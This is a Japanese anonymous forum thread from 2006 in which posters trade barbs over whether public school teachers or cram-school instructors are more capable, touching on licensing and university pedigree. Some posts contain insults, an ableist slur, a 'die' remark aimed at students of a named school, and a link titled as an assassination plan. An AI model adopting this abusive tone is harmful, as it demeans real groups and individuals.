http://polls.dailynews.yahoo.co.jp/quiz/quizvotes.php?poll_id=269&qp=1&typeFlag=1


631 :塾長:2006/12/09(土) 15:15:42 ID:cLiEw5z1
いい教師がひとりいても大半が無能では
何も変わらない。
教員免許は更新すべきである。

632 :実習生さん:2006/12/09(土) 15:56:55 ID:lmK/UARK
と、土曜の朝昼講座にお呼びがかからない
使えない非常勤が申しております。

633 :実習生さん:2006/12/09(土) 16:40:54 ID:AFU+HYw0
英語や理系の専門家を教師にするより、教育や指導のエキスパートを採用するべき
高校の進学校以上ならともかく、
それ以下の中学くらいまでなら特に知識なんてあまり関係ない
教え方の指導の仕方、プレゼンの上手なやつのほうが使える

634 :塾長:2006/12/09(土) 17:15:54 ID:cLiEw5z1
>>633
そのとおりだと思うな。
 教えるという作業は別次元だわな。

635 :実習生さん:2006/12/09(土) 23:27:26 ID:bx/2MrgF
学校では体育だけ教えてろ。
駅弁の筋肉ダルマには殴り合いの仕方とかしか教えられないだろ。


636 :実習生さん:2006/12/09(土) 23:50:33 ID:qILl2X63
>>635 そうだよな。特におまえみたいな奴には勉強教えるだけ無駄だもんな

637 :実習生さん:2006/12/10(日) 00:17:35 ID:baFJPapL
と、勉強を教えることができない池沼教師が申しております

638 :実習生さん:2006/12/10(日) 10:10:53 ID:zW04iRLP
まぁ学校が本当にきちんと教育できたら、塾講師なんて全員失業するけどなw
塾があるのは学校のおかげだろが。

639 :実習生さん:2006/12/10(日) 10:47:09 ID:HtECfi5l
2週間程度の実習で免許与えるって、馬鹿じゃないの?

640 :実習生さん:2006/12/10(日) 12:18:40 ID:S1lCUqtv
合宿ならほとんど誰でも2週間で取れる車の免許
その免許で仕事している運送業はどうなるw

641 :実習生さん:2006/12/10(日) 12:59:45 ID:PhX+fOON
だから免許と呼ばず基礎教職研修修了証明書とすればいいのだよ

642 :塾長:2006/12/10(日) 14:48:05 ID:+D3Yy35+
>>638
塾があるのは受験のおかげ
 
>学校が本当にきちんと教育できたら・・・

 日本の学校はきちんと教育してないのか?問題発言だな。

643 :実習生さん:2006/12/10(日) 16:41:53 ID:xb94ZLvW
学習指導要領が最低限の基準で、その内容をすべて教えればいくらでも難しいことを
教えても良い、現場に任す制度だったらもう少し学校が良くなるかも。



644 :実習生さん:2006/12/10(日) 16:47:42 ID:PhX+fOON
>>643
既にそうなってますのよ

645 :実習生さん:2006/12/10(日) 16:55:11 ID:xb94ZLvW
>>644
現実的にはそうではない。一応法改正はつけ刃でやってはいるが。

まったく無関係だが、塾講師のかたがたはこれをどう考える?
http://www.mainichi-msn.co.jp/today/news/20061210k0000e040017000c.html
(学習塾殺人事件)

646 :実習生さん:2006/12/10(日) 17:11:45 ID:PpRQKqE8
いろいろ意見はあると思うが、
ここで勘違いしてはいけないのは塾講師はクズがやる職業、という事だ。
これだけは今も昔も変わらない。
塾講師はクズがやる職業で、ここの線引きはきちんとしておかなければならない。
塾講師などというクズがやる職業が、もっともらしく振舞ってる社会というのは、
実は良い社会ではないということだ。


647 :塾長:2006/12/10(日) 17:52:07 ID:+D3Yy35+
>>645
雇う側は講師としての適正を重視しないとだめだと思う。
 要するに人間を見る目がないとだめだということだろう。

>>646
他人を批判するやつはそのクズからも声がかからないだろな。
 クズのその下は何というのだろ?

648 :実習生さん:2006/12/10(日) 17:57:39 ID:NjH3yRX3
今日、予備校講師や塾講師がデカイ顔しているのは、
大学受験に至るまでの教育課程が複雑多岐にわたり、
学校の6時間の授業(あるいは補習まで含めても)を受けるだけでは
十分教科書の内容を消化し切れないガキどもが溢れているからだろ。

649 :実習生さん:2006/12/10(日) 20:53:28 ID:baFJPapL
教員採用試験なんて3日勉強すれば通るよ
ま、駅弁にゃ無理かもしれないけどねwww

650 :実習生さん:2006/12/10(日) 21:33:09 ID:Q0/8XEi1
公立小学校、公立中学、公立高校の国立大学出身者の割合=92%

元は師範学校から始まり、現在では国立大学へと引き継がれている。

青森師範学校(弘前大学教育学部) 東京第一師範学校(東京学芸大学学芸学部)
東京第二師範学校(同上)
東京第三師範学校(同上)
新潟第一師範学校(新潟大学教育学部)
新潟第二師範学校(新潟大学教育学部高田分校→上越教育大学)
静岡第一師範学校(静岡大学教育学部)
静岡第二師範学校(同上)
愛知第一師範学校(愛知学芸大学学芸学部(現/愛知教育大学))
愛知第二師範学校(同上)
大阪第一師範学校(大阪教育大学教育学部)
大阪第二師範学校(同上)
福岡第一師範学校(福岡教育大学教育学部)
福岡第二師範学校(同上)




651 :実習生さん:2006/12/10(日) 21:34:39 ID:Q0/8XEi1
岩手師範学校(岩手大学教育学部)
宮城師範学校(東北大学教育学部→宮城教育大学)
秋田師範学校(秋田大学教育学部)
山形師範学校(山形大学教育学部)
福島師範学校(福島大学教育学部)
茨城師範学校(茨城大学教育学部)
栃木師範学校(宇都宮大学教育学部)
群馬師範学校(群馬大学学教育学部)
埼玉師範学校(埼玉大学教育学部)
千葉師範学校(千葉大学教育学部)
神奈川師範学校(横浜国立大学教育学部)
富山師範学校(富山大学教育学部)


652 :実習生さん:2006/12/10(日) 21:35:16 ID:Q0/8XEi1
石川師範学校(金沢大学教育学部)
福井師範学校(福井大学教育学部)
山梨師範学校(山梨大学教育学部)
長野師範学校(信州大学教育学部)
岐阜師範学校(岐阜大学教育学部)
三重師範学校(三重大学教育学部)
滋賀師範学校(滋賀大学教育学部)
京都師範学校(京都教育大学教育学部)
兵庫師範学校(神戸大学教育学部)
奈良師範学校(奈良教育大学教育学部)
和歌山師範学校(和歌山大学教育学部)
鳥取師範学校(鳥取大学教育学部)
島根師範学校(島根大学教育学部)
岡山師範学校(岡山大学教育学部)
広島師範学校(広島大学教育学部)
山口師範学校(山口大学教育学部)
徳島師範学校(徳島大学教育学部→鳴門教育大学)
香川師範学校(香川大学教育学部)
愛媛師範学校(愛媛大学教育学部)
高知師範学校(高知大学教育学部)
佐賀師範学校(佐賀大学教育学部)
長崎師範学校(長崎大学教育学部)
熊本師範学校(熊本大学教育学部)
大分師範学校(大分大学教育学部)
宮崎師範学校(宮崎大学教育学部)
鹿児島師範学校(鹿児島大学教育学部)


653 :実習生さん:2006/12/10(日) 21:42:24 ID:UsPfF6/Z
>>646
と、無能な教師がビビリながら申しております

654 :実習生さん:2006/12/10(日) 22:03:11 ID:NjH3yRX3
>>649
受験エリートタイプの人物には、選考委員がストップをかけます。
どんなにペーパーが良くても、二次試験で落とされます。
二次試験で完璧な受け答えをしても落とされます。
あるいは、集団面接で印象点が低くなるように、長年の講師経験者ばかりの集団に1人だけ入れたり、
個人面接でとんでもない圧迫質問をしてボロを出させます。






……なんてことはあるかどうか分かりませんが、
教員採用試験は個人の努力(試験成績や学歴)だけで決まるような、
普通の資格試験とは違うのです。

特に貴方のように、教員の仕事をハナから馬鹿にしてなめくさっているような人物は、
選考委員に容易に見抜かれて、不採用でしょうね。

655 :実習生さん:2006/12/10(日) 22:20:18 ID:baFJPapL
アホらし。
警察官だって面接くらいあるだろ。
その程度の職業だってことだ、教師はな。

656 :実習生さん:2006/12/10(日) 22:27:56 ID:TMASdapq
警察官の身元調査をなめるなよ
親戚に共産党員やらなんかの団体員がいたりしたら
どんなに本人が警察官になりたくても絶対なれない。
面接の受けこたえとか以前の問題で。
親兄弟が警官だとなりやすい。

657 :実習生さん:2006/12/10(日) 22:28:27 ID:9nlkH3aP
まあ、ここで学校教師煽らないとやってられないんだろな、塾講師は。
あわれだな

658 :実習生さん:2006/12/10(日) 22:30:30 ID:TMASdapq
その点同じ公務員でも教師は思想的にも比較的(個人の)自由で
親戚まで調べたりしないんじゃない。

659 :本人の努力:2006/12/10(日) 22:59:28 ID:qQ41PP2J
クズと平気で言う人間が教育板にいるとは…

660 :実習生さん:2006/12/10(日) 23:38:43 ID:WXcFlTa1
>>657
その塾講師を煽らずにはいられない学校教師は、あわれどころか醜いな。
まあ嫉妬する気持ちも分かるが情けないだけだよ。

661 :実習生さん:2006/12/10(日) 23:48:38 ID:NTs7tlYa
嫉妬するというか、こういう掲示板でちょっかいかけられて、
それを全然うっとうしいと思わぬ人もいないだろう。
受講講師は蚊と同じだ、蚊とな。うっとうしいんだよ、うざいんだよ。
なんで将来保証も何一つないような宙ぶらりんの人生の塾講師に嫉妬しなければならないんだ?
ホームレスのような人間に、ちょっかいかけられても俺は怒るが。
それと同じだ、塾講師は蚊と同じ、蚊とな、うざいんだよ。消えろ。





662 :実習生さん:2006/12/11(月) 00:21:18 ID:BGaHajea
学校教師の勘違い

@駅弁は高学歴だと思ってる(実際は偏差値50以下が大半)

A塾講師は教員採用試験に受からなかった人間が行くところだと思ってる
(実際は塾と教員の併願は稀)

B塾講師は教員を目指しているものだと思っている
(実際は教員を目指す塾講師は皆無)

C自分も塾講師を受ければ採用されたと思っている
(実際は自信がなくて受けられない)

D教員採用試験は難しいものだと思っている
(実際は資格予備校でも最低レベルの資格に位置付けられている)

E自分より高学歴の人間はどこか性格が歪んでいると思っている(単なる決めつけ)

F教師は終身的に身分保障されるものだと思っている
(実際はバウチャー制の導入で解雇される教師が続出)

G塾講師より給料が高いと思っている(単なる決めつけ)

663 :実習生さん:2006/12/11(月) 00:31:16 ID:3MYotUeD
塾講師の史上最大のとんでもない大きな勘違い。

■学校教師が塾講師(講師なんて言葉よりアルバイトの延長線上。学生の家庭教師の延長線上)などという低級な連中に対し、
まともに相手にしていると思っている事。



664 :実習生さん:2006/12/11(月) 00:37:46 ID:BGaHajea
>>663
確かに、どう考えたって学校教師のほうが分が悪いのに、
まともに相手にできてないよな。

665 :実習生さん:2006/12/11(月) 02:27:48 ID:HV6QQQ/n
福島県いわき市内の小学校で、20代後半の男性講師がドッジボールのクラブ活動中、顔にボールが当ったことに腹を立て、ボールを投げた小学4年の男子児童を引きずるなどして背中や足にけがをさせていたことが9日分かった。
 同市教育委員会学校教育課によると、この講師は5日午後3時ごろ、昨年度から勤務している小学校の校庭で、3、4年生の児童とクラブ活動のドッジボールをしていた。
児童の一人が投げたボールが顔に強く当たったため、かっとなってこの児童を引きずり、頭を平手でたたいた。児童は引きずられた際、背中や足にすり傷を負った。
 同校の校長と講師は6日に児童宅を訪ねて謝罪し、7日に同市教委に事件を報告した。
8日には保護者説明会を開いて経過を伝え、謝罪した。児童は6日に学校を休んだものの、7日には登校した。同校はこの講師に6日以降、授業をさせていないという。
 同課は「講師本人からまだ話を聞いていない」としており、事情聴取後に対応を検討する。

もうアホかと

666 :実習生さん:2006/12/11(月) 02:50:28 ID:EoxAGAEr
tesuto

667 :塾長:2006/12/11(月) 13:21:44 ID:jvyrxImU
結局 保身に走る管理職が変わらなければ
教育は変わらないだろうな。
現場で上からとPTAからに挟まれて奮闘している
教師は偉いと思うがな・・・俺には出来ないな。

668 :実習生さん:2006/12/11(月) 16:12:12 ID:ofAd9qeR
>>650-653

そらこんな無名の糞駅弁大学の底辺学部の奴らに勉強教えるなんて到底無理だな、納得。



669 :実習生さん:2006/12/11(月) 16:34:28 ID:hEgJVlhx
>>668
おまい、馬鹿じゃないの?

670 :実習生さん:2006/12/11(月) 21:24:50 ID:+2rHmIMU
おーいTVタックルであんたらのことやってるよ
お仲間も出てるw

671 :実習生さん:2006/12/11(月) 21:52:24 ID:mr8ibZsA
教員になった時点で平均すれば 多分 教員>塾講師 だろうね。

でも10年たつと逆転するよ。 それはね 社会主義<資本主義だからさ。

恵まれた環境にいる人は努力しないからね。

塾は野生  堕落は崩壊を意味する。  まだまだ頑張りますよ。

672 :実習生さん:2006/12/11(月) 21:54:46 ID:WT0g9inx
>>671
発狂して自殺しない程度に頑張って暮れやw

673 :実習生さん:2006/12/11(月) 22:08:26 ID:rjT0q18s
>>671

>塾は野生  堕落は崩壊を意味する。  まだまだ頑張りますよ。

ぷっw
言葉を変えりゃ、ただの金儲けだろw
拝金主義の塾講w
お似合いだ〜w


674 :実習生さん:2006/12/11(月) 23:43:14 ID:vJKOjukH
と、低能教師が怒りに震えながら申しております。

675 :実習生さん:2006/12/11(月) 23:46:54 ID:au6DAa0m
>>669

母校が糞駅弁と事実を指摘された駅弁OBwwwwww
結婚式で
「〜先生は『国立』駅弁大学を優秀な成績で卒業され・・・・」
とか言われて失笑されるのかね。



676 :実習生さん:2006/12/12(火) 01:39:22 ID:Muapeasw
>>673
安定安定と叫ぶお仲間にも同じ事
言え


677 :実習生さん:2006/12/12(火) 11:36:52 ID:cv6K3nY7
金儲けは悪い事で、教育は金儲けの道具にしてはならない
とまことしやかに言う心=ただ自分達の既得権益を守りたい
奇麗事を言う者の心には 必ず裏に卑劣な打算が隠されている
公立高校がなぜこんなにも没落したかを、胸に手をあてて
考えてみるがいい。
10倍の授業料の私立高校になぜ生徒が流れていくか
考えてみるがいい。
公立高校の進学実績の多くは塾がしょっている。
公立高校の教師は実力もやる気もない。それでどうにかなるから、、、。
心も体もぶよぶよになっていく、、、。どこまでも堕落していく。

678 :実習生さん:2006/12/12(火) 12:18:33 ID:dXriTRQF
塾の講師を10年も続けているのは、向上心のかけらもないからだな。


679 :実習生さん:2006/12/12(火) 12:27:20 ID:dXriTRQF
>>677
金儲けは悪い事ではないが
教育で金儲けをするのは悪い事、あるいは、はしたない事。
そういう「たしなみ」を忘れて、バブルを起こしてしまったし、
こんな国にしてしまった反省が必要だな。

680 :実習生さん:2006/12/12(火) 16:17:19 ID:S2IOD+6T
塾はピンからキリまであるけど、
学校はどこに行っても最低

681 :実習生さん:2006/12/12(火) 16:45:11 ID:cv6K3nY7
>678 高校教師になっても 底辺校勤務じゃつまんねす。 

682 :実習生さん:2006/12/12(火) 16:59:52 ID:dXriTRQF
>>680
レス自体が非論理的なのでつべこべ言っても始まらないが
君が最低な学校にしか行かれない人物なのはワカタ。

683 :実習生さん:2006/12/12(火) 20:06:56 ID:dXriTRQF
>>681
どんな学校であれ、いい教師は存在する。
また、やりがいを見いだせるもの。
君は、そういう存在ではない、つまらない存在だということ。

684 :実習生さん:2006/12/12(火) 20:40:19 ID:ZWGnx41r
夜回り先生は上智大学文学部哲学科出身で、
最初は進学校で教鞭をとっていたが、
定時制高校に転勤になってから「夜回り」を通じて若者の心に働きかける、
地道な教育活動をされて来られた。

「夜回り」はかなり極端な例ではあるが、
教員の仕事は、教壇の上から巷の道端まで、幅広い。

底辺校をバカにするな。
進学校以上にケアの必要な子が沢山いるんだ。
そして、そこでがんばっている教師は沢山いるんだ……(;_;)

685 :実習生さん:2006/12/12(火) 21:01:33 ID:cv6K3nY7
こんな生徒を相手にしたって給料が出るんだからまあいいか
これが困難校の先生の人生総括    で、錆びてゆく。
趣味は絵か書かマラソン。畑、、、。 で、さびてゆく。

さあ、一体なにが幸せなのか・・・・・・    不明。

686 :実習生さん:2006/12/12(火) 22:51:33 ID:fNsJhcBf
>>678が必死すぎてワロタ
そんなにストレスたまってるなら、イジメでも体罰でもすれば?

687 :実習生さん:2006/12/12(火) 23:00:47 ID:dXriTRQF
>>686
そうだなあ、塾と違っていじめも体罰も禁じられているから無理だね。
公の仕事の分、塾講と違って、いろいろと制約が大きいからさ。

688 :塾長:2006/12/13(水) 10:05:11 ID:259P122e
>>684
いろいろな高校があるのも承知している。
 受験だけが高校生活でないことも承知。
 だから教師を罵ることは的外れである。
 そういう先生がなかなかいないのも現実。

>>685
それもその人の人生。その人が満足していればいいのでは?
 それを傍から見て錆びれているというコメントはいかがなものか?

689 :実習生さん:2006/12/13(水) 11:32:12 ID:12Urig1D
全体に情けない意見ばかりだよ・・・
いい大人がしょうもないことをだらだらと

塾でも学校でも一生懸命頑張ってるならいいじゃないか。
学校の先生のレスはガキだし、塾講は煽るし、水と油なんだから
同じ容器に入ろうとするな。

690 :実習生さん:2006/12/13(水) 13:08:10 ID:xHC6iG4l
>>689
一緒懸命」ならね。


691 :実習生さん:2006/12/14(木) 05:02:09 ID:osoikcga
こないだ、とある女性から電話がかかってきたんですよ。

女性「おたくの塾のチラシ見て電話したんですけども」
おれ「あ、ありがとうございます!」
女性「指導方針が良いと思いまして」
おれ「ありがとうございます、お子様は何年生でいらっしゃいますか?」
女性「いえ、子どもをいれるとかじゃなくて、私が来年高校の教員を退職になりますので、
  雇って頂けないかと思いましてお電話差し上げたのですが」
おれ「・・・はぁ」
女性「25年(だっけ?)教師をしておりまして、国語の指導がうんたらかんたら」
おれ「・・・はぁ、まぁでは履歴書を持って一度いらしてください」
(俺はどんな人でも一応面接だけはさせて頂くことにしている)

面接当日、退職を控えた国語の先生はいらっしゃった。
小一時間話したころ、俺のかつての担任を知っているだのという話になり、
すっかり気を許した先方は

女性「私みたいなのだとあなたはやりにくいかもしれませんわね〜おほほほ」
おれ「そうですね〜、なんだか自分の先生と話しているみたいな気分です。あはは」

この女性を雇うことはもちろんない。
社会に出て働きたいなら、最低限の礼儀や節度はわきまえてきてほしいです。
生まれてからずっと学校の中にいたから何も知らないのは致し方ないですが、
そのまま社会に出てこられると思ったら大間違いです。
こっちも忙しい時間を割いてやっているのですから、せめて社会人としての
マナーは身につけてから社会に出てきてください。

692 :実習生さん:2006/12/16(土) 19:36:01 ID:xoAGWCCw
>>691
朝早くからおつかれさんだな。
 

693 :実習生さん:2006/12/16(土) 22:42:55 ID:FXAqIRTA
塾講師って、お金を払って授業を受けようとする生徒に教えるんだよね。
公立の学校は、やる気のない生徒に対して生徒指導をするところから始まるんだよね。
もちろん、それぞれ難しさがあると思うけど、違いがあるだろうね。

694 :実習生さん:2006/12/16(土) 23:02:14 ID:7Fe4ox5/
>>693
塾行く金を払うのは親だ

695 :実習生さん:2006/12/16(土) 23:21:57 ID:Rx0KSy+y
>>692
朝早くつーか夜遅く、かな。

696 :実習生さん:2006/12/18(月) 03:50:52 ID:sMpZm6dp
進学校の生徒に授業を教える教師が駅弁なんてダメだろ。常識的に考えて。


697 :実習生さん:2006/12/18(月) 05:27:54 ID:dfIYuiRS
>>696
おまえは全国の公立学校教員を敵に回した。

698 :塾長:2006/12/18(月) 12:06:47 ID:mL5aNEAa
>>696
ほんとにあんぽんたんだな。
 駅弁出てようが、キャリアをつけるのはそこからだろ?
 東大出てようが教えることに情熱を感じてないヤツは向いてないのさ。

699 :実習生さん:2006/12/18(月) 22:21:04 ID:MCZ150O4
>>696みたいな奴には、懇切丁寧に何度も説明を繰り返しても無駄。


700 :実習生さん:2006/12/18(月) 22:37:19 ID:xjlUlty4
学歴じゃあないですから、情熱ですから・・・。

そんでもって   700       ゲト

701 :実習生さん:2006/12/19(火) 00:23:48 ID:P0qFCCUT
学校教師ってバカが情熱だけでなんとかできる仕事なのか。
GTOみたいだな。

702 :実習生さん:2006/12/19(火) 06:47:22 ID:Xeq7x+L/
少なくとも、学歴だけでなんとかできる仕事でないのは確か。

703 :実習生さん:2006/12/19(火) 07:17:11 ID:9EGJZSAb
>>701
学歴の反対語は「情熱」だとでも思ってる?
それこそバカの言説というのだけれど。

704 :実習生さん:2006/12/19(火) 09:04:37 ID:8inKhfTV
とりあえず、「勉強が出来る」と「教えられる」は=ではないと言っておく。

705 :実習生さん:2006/12/19(火) 10:02:35 ID:/lLmGu6n
つばさ総合高校うぜえ。死ねよCランクのゴミどもが。

706 :塾長:2006/12/19(火) 10:36:10 ID:4+5kzQOh
確かにバカは情熱でもムリだがな

707 :実習生さん:2006/12/19(火) 15:22:53 ID:P0qFCCUT
ま、学校みたいに教科書読むだけの授業なら
Fランクだろうが駅弁だろうができるだろうよ。

708 :実習生さん:2006/12/19(火) 17:57:58 ID:8inKhfTV
>>707
お前みたいのは、授業やる以前に子どもに相手にされないw

709 :実習生さん:2006/12/19(火) 18:54:51 ID:7HSv5FqM
「教師の一分」
二度と悲惨な戦争に生徒達を巻き込まない、日の丸や君が代を強制しない。
憲法や教育基本法改悪を断固阻止する・・・授業だけが教師の使命ではない。
教師としての学歴や偏差値よりももっと大切なもの、あるんじゃないの?
教育理念、ポリシー、使命感、教育愛 等

710 :実習生さん:2006/12/19(火) 23:05:14 ID:P0qFCCUT
分数の計算もできない学校教師が何を教えられるの?

711 :実習生さん:2006/12/20(水) 01:30:57 ID:1C5WOq3i
安定を求めて教師になったんだろ?
教育とか大層な御託を並べるなよ
こっちは何も期待してないんだから、せめて生徒の邪魔をするな

712 :実習生さん:2006/12/20(水) 14:12:58 ID:R41Y2Cpj
塾・予備校講師  自分の子供は 塾講師にはさせませんが何か?
高校教師     自分の子供は 私立高校に行かせますが何か?

713 :実習生さん:2006/12/20(水) 14:14:56 ID:R41Y2Cpj
日教組教師 貧しい人の味方です。
      給食民営化には反対ですが何か?


714 :受験生:2006/12/20(水) 14:36:08 ID:8KEomugo
ある塾の経営者の夫が、太○市の商業高校の校長になると、新聞載った、、、
が、妻は、最低の人間らしい、、、
当然、塾は廃業、、、だが、そこに通っていた生徒はどうなる???
全員、新校長の高校に推薦入学できる???
って、レベル低すぎるが、、、
教育特区で、浮かれすぎでないの?

715 :実習生さん:2006/12/20(水) 19:57:52 ID:3/w4ebLi
フランス料理は富裕層しか口にすることはできません。
しかし、駅弁は万人に平等、誰もが口にすることができ
ます。予備校、塾の教師はお金持ちの子女相手にがっぽ
りと稼いでください。駅弁教師は子供を選びません。
どんなに貧しい子にも情熱を注ぎます。

716 :塾長:2006/12/21(木) 10:12:12 ID:J2PtpuHF
>>715
それは偏見じゃないかな。
 貧しい家庭の子には普通に月謝はとれないよ。
 甘いと言われるかもしれないがな・・・
 金融の世界とは違うからな
 ちなみにフランス料理ってそんなに美味いか?
 

717 :実習生さん:2006/12/21(木) 19:41:41 ID:wDy3Jyk1
>>716
塾長サンの中にも拝金主義でない人がいるのですね。うちの子も
塾長さんの塾に行かせたいです。ちなみにフランス料理は高級食材
を用いるレストランが多いので、上品で格調高い味わいになるのでは。


718 :実習生さん:2006/12/21(木) 20:22:09 ID:fM7UwgeN
日本料理でも懐石料理はうまいぞ。

719 :実習生さん:2006/12/21(木) 21:30:03 ID:FF8gVDzP
>>715
意味わからん。
予備校・塾の講師は駅弁出身でないのか?
駅弁教師って、おしなべて情熱があるのか?
何が言いたいんだ??

720 :実習生さん:2006/12/21(木) 21:48:28 ID:fM7UwgeN
>>719
駅弁は800円くらいで売ってるが、うまいってことだろ

721 :実習生さん:2006/12/21(木) 22:01:53 ID:FF8gVDzP
>>720
そもそも駅弁ってうまいか?
吉野家のほうが安くてうまいと思うが。
駅ではそれしかないから仕方なく買うけど。

722 :実習生さん:2006/12/21(木) 23:51:30 ID:wDy3Jyk1
駅弁は、金持ちも貧乏な人も誰もが平等に食べられる。
それを駅弁大学出身が多い公立学校の教師にかけたのね。

723 :実習生さん:2006/12/22(金) 00:48:01 ID:uqs/OxS0
解説しすぎ

724 :実習生さん:2006/12/22(金) 12:38:07 ID:5qvD9GLY
このスレ見てると、東大出身を前面に押し出して「俺は何でも教えられる」と豪語してたくせに、
授業はプリントと答え合わせのみ。教員室でも横柄な態度をとって誰にも相手にされず、
生徒に解職運動を起こされて半年ほどでクビになった非常勤講師を思い出す。

実際に現場に立ったら、学歴なんて関係ないんだがね。教科教育が全てじゃないんだし。

725 :実習生さん:2006/12/22(金) 13:21:09 ID:eC/2GVzk
学歴だけでなんとかなる仕事ではないというが
小中高と努力して結果を残せなかった人間がどんな勉強法・覚え方・理論・教授方ができるというのだろうか?
オトタケが体育教師やるようなもんだな。


726 :塾長:2006/12/22(金) 14:10:48 ID:9nuqsZaB
俺の友達には一橋や旧帝出て塾をやってる奴らも
いるぜ。こちらよりなかなか盛んなようだが・・・
逆にそういうとこを出てヒラ教員で終わる先生もいる。

>>725
オトタケ氏に失礼だと思わないのか?

727 :実習生さん:2006/12/22(金) 14:15:31 ID:zD/QhsH3
>>725
今の入試は、一部を除いて「万能主義」だからね。
教師はその点、自分の教科だけでいいのだから
学歴とは違う世界の力でしょう。
慶應・医に受かっても、古文ができなくて佐賀医大に落ちるかもしれないしね。


728 :実習生さん:2006/12/22(金) 15:06:19 ID:jxFVqcIJ
>>1
学校教師は別に安定もしてないし、社会的地位も全然たいしたことないと思う。

心の病にかかって離職する人が多いし、免許の更新や指導力不足教員の排除でクビになるし、
他の公務員に比べたら全然安定してないじゃん。
社会的地位って、ただ先生って呼ばれてるだけのことでしょ。そんなの学童クラブのバイトでもよばれるじゃんか。

塾講師のほうが高学歴&学力高いってのには同意。
高い学歴を得る目的で通う塾の講師が低学歴じゃ話にならないもんな。
学校は別に高学歴を目指すところじゃないから教師が高学歴じゃなきゃだめってわけじゃないもんなぁ

729 :実習生さん:2006/12/22(金) 19:23:43 ID:5qvD9GLY
>>725
痛いなぁw

>小中高と努力して結果を残せなかった人間がどんな勉強法・覚え方・理論・教授方ができるというのだろうか?
高学歴が教えれば、子どもは誰でも高学歴になれるとでも?
人間ってのは機械じゃないのよ。実際同じことやらせても個人差は凄まじい。
同じ内容でも、クラスによって教授法を変える柔軟性も必要なんだよ。

>>727
国立の教員養成系の入試は5教科7科目必須が基本ですが?
大学入ってからも小学校の教科全部やるよ。

730 :実習生さん:2006/12/22(金) 20:49:56 ID:+aNKlwxV
>>724
はいはい妄想乙
お前の学歴コンプ凄まじすぎ

>>729
駅弁は小学校の教科しか教えられないだろw

731 :実習生さん:2006/12/22(金) 21:00:37 ID:oZMamcjo
>>729
あのさ、予備校と比較して「大学入試の話」をしている時点で
対象は高校か、すくなくとも、中学の教師ってコトになると思うんだけどね

数学単教科に堪能な人間は、国立に受かるかどうかはわからないが
教師になって数学を教える力に不自由はないだろう。
古典が好きな人間は、慶応に受かるかどうかはわからないが
高校の古典教師としてなら、その能力が発揮されるだろう。

その上、自分が知っていることと言うのを前提にしても
それをどう教えるのかという点については別の能力が必要だ。

したがって「学歴」と「教師の力」など、何の相関もないということだ。


732 :実習生さん:2006/12/22(金) 21:03:40 ID:tjMC7v+H
>>730
中学校の教科くらいまでならなんとでもなるだろ
大学出てるんだし

>>725
オトタケネタは、冗談が通じる場所じゃないと顰蹙かうよ

前半は同意だけど
高学歴に限定するわけじゃないけど、深い理解がないと浅い部分を教えるのにも差し支えはあると思うし

どの教科もできろとは言わないが、幅広い教養がある先生はやっぱり教科間の繋がりある授業になるし、単調じゃない分生徒を惹き付けてると思うよ

733 :728:2006/12/22(金) 21:17:24 ID:jxFVqcIJ
誰かおれにもレスしてよ。

734 :実習生さん:2006/12/22(金) 21:17:47 ID:+aNKlwxV
>>731
>したがって「学歴」と「教師の力」など、何の相関もないということだ。
統計的に実証しろよ。
まあ、体育などの実技は学歴は関係ないかもね。

735 :実習生さん:2006/12/22(金) 21:36:21 ID:j1N6yV0B
俺は、情熱だと思うね。
ある程度の学歴とある程度の学力があるという前提の下で。

俺の経験では、がむしゃらな人間には生徒がついて来る。と思う。

736 :実習生さん:2006/12/22(金) 21:46:06 ID:5qvD9GLY
>>731
スマソ。そうだった。
結局は同じ学歴でも、その実際は差がある。学歴=学力=教える力でもない。

教員養成系は、確に持っているものの深さは負けるよ。認める。
でも正直言って、その教科全体という点では微妙なんだよね。
俺は社会科なんだけど、大学時代に日本の古代史で卒論を書いた。文学部には遠く及ばないけどね。
同僚は有名大の文学部卒だけど、専門はバラバラなんだわ。公民いないし…

結局、お互い分からないところは教えあってるし、即答出来ない質問は次までに調べてくる。予習もする。
こういう仕事してると、万能・完全なんて信じられないんだけどなぁ。塾講師って予習一切しないのか?

>>734
学校教育語るなら、実習くらい行ってみな。
中学校でさえ、上手く意図を伝えることが出来なくて凹むから。
逆に定説に縛られない新しい発見・発言が有ることも、この仕事の良さではある。

737 :実習生さん:2006/12/22(金) 21:56:23 ID:+aNKlwxV
>>736
>逆に定説に縛られない新しい発見・発言が有ることも、この仕事の良さではある。
はぁ?
なに学校教師ごときが勘違いしてんの?
専門の論文書いてアカポスゲットできない奴に
新しい発見もクソもあるか。
もちろん塾講師も同じだが、視野が狭すぎるぞ、お前。

738 :実習生さん:2006/12/22(金) 21:58:54 ID:oZMamcjo
>>734
論理的な説明はした。
相関があると言いたいなら
「ある」と言いたい側が証明するのが筋だ。
これだから「学力」がない奴は困る。

>>736
ご理解いただけてうれしいが
>教員養成系は、確に持っているものの深さは負けるよ。認める。
これは、731の後半部分でも書いたのだけど、教師の教える力という点なら
「深さ」が負けるのかどうか(あるいは勝つのかどうか)も、わからないと思う。

いくら数学オタクでも「教師としての奥の深さ」と言う点で
「伝える力」がなければ、無意味なことになるからね。
そして、文学部出身者はみんながみんな奥深い力があるというわけでもなさそうだし。
ここで考えるべきは、あくまで「教師としての奥深さ」だと思うな。



739 :実習生さん:2006/12/22(金) 22:00:47 ID:oZMamcjo
>>737
横レスだが
君の視野の方が狭いよ。
「新しい発見」と言う言葉を「新学説」的なものとして
勝手に君が決めつけている痛い書き込みだもの。


740 :実習生さん:2006/12/22(金) 22:06:10 ID:+aNKlwxV
>>738
どこが論理的だよwww
お前の主張は単なるトートロジー。
あ、駅弁には意味分からないかwww

>相関があると言いたいなら
別に俺は「ある」なんて一言も言ってない。
「ない」なら「ない」なりの根拠を示せよと言っただけ。

>>739
ついに揚げ足取りにかかったか。
くだらないコンプ爆発させてる暇があったら、
根性で教頭にでも校長にでもなってみろ。

ガンバレ駅弁君www

741 :実習生さん:2006/12/22(金) 22:09:24 ID:5qvD9GLY
>>737
なにも学説ひっくり返すような、ものすごい発見のことじゃねぇよw
ただ単に、考える過程がおもしろいって言ってんの。なんか段々お前が可愛くなってきたわ

>>738
言葉足らずだったけど、教科の専門性のことね。
>>738の言うのは、教育の専門性でしょ。世間的には全く認められないがorz

742 :実習生さん:2006/12/22(金) 22:12:54 ID:pma9DDEd

亀田興毅暗殺計画


http://sports2.2ch.net/test/read.cgi/entrance2/1166184756/49

743 :実習生さん:2006/12/22(金) 22:18:14 ID:oZMamcjo
>>740
商売柄、受験に失敗してオカシクなっちゃった奴には良く会うけれど
なぜか、大半の人間が
「学歴コンプレックスを増大させる」か
